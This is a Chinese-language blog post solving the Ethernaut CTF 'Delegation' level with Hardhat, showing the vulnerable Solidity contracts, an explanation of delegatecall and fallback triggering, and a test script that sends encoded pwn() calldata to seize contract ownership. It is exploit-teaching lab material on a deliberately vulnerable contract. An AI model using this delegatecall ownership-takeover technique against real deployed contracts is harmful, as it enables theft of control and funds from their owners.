用Hardhat闯关Ethernaut题6 -delegation

  • Verin
  • 更新于 2022-09-14 14:33
  • 阅读 1235

开坑使用Hardhat闯关Ethernaut CTF题,提高合约和测试脚本的能力,后续也会增加Paradigm CTF的闯关题目。

Delegation合约

任务:获取Delegation合约的所有权。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import "hardhat/console.sol";

contract Delegate {
    address public owner;

    constructor(address _owner) public {
        owner = _owner;
    }

    function pwn() public {
        owner = msg.sender;
    }
}

contract Delegation {
    address public owner;
    Delegate delegate;

    constructor(address _delegateAddress) public {
        delegate = Delegate(_delegateAddress);
        owner = msg.sender;
    }

    fallback() external {
        (bool result, ) = address(delegate).delegatecall(msg.data);
        if (result) {
            console.log(result);
            this;
        }
    }
}

这题主要是理解delegatecallcall的区别:https://github.com/AmazingAng/WTFSolidity/tree/main/23_Delegatecall ,也就是说此题要是更改Delegation的owner,需要调用Delegate合约的pwn函数,也就是触发Delegation合约的fallback,fallback的触发条件:

触发fallback() 还是 receive()?
           接收ETH
              |
         msg.data是空?
            /  \
          是    否
          /      \
receive()存在?   fallback()
        / \
       是  否
      /     \
receive()   fallback()

也就是说发送一笔交易 data不为空就行。

测试脚本:

const { expect } = require("chai");
const { ethers } = require("hardhat");
const { MaxUint256 } = require("@ethersproject/constants");
const { BigNumber } = require("ethers");
const { parseEther } = require("ethers/lib/utils");
describe("test", function () {
    var Delegation;
    var Delegate;
    it("init params", async function () {
        [deployer, ...users] = await ethers.getSigners();
    });
    it("deploy", async function () {
        const DelegateInstance = await ethers.getContractFactory("Delegate");
        Delegate = await DelegateInstance.deploy(users[0].address);

        const DelegationInstance = await ethers.getContractFactory("Delegation");
        Delegation = await DelegationInstance.deploy(Delegate.address);
    });
    it("hack test", async function () {
        console.log(await Delegation.owner());

        const abi = ["function pwn() external"];
        const interface = new ethers.utils.Interface(abi);

        const callData = interface.encodeFunctionData(`pwn`, []);
        const res = await users[0].sendTransaction({
            to: Delegation.address,
            data: callData,
        });
        await res.wait();
        console.log(await Delegation.owner());
    });
});

运行结果:

image.png

Github:hardhat测试仓库

点赞 1
收藏 0
分享
本文参与登链社区写作激励计划 ,好文好收益,欢迎正在阅读的你也加入。

0 条评论

请先 登录 后评论
Verin
Verin
discord:Verin#2256 v: daqingchong-pro 备注来意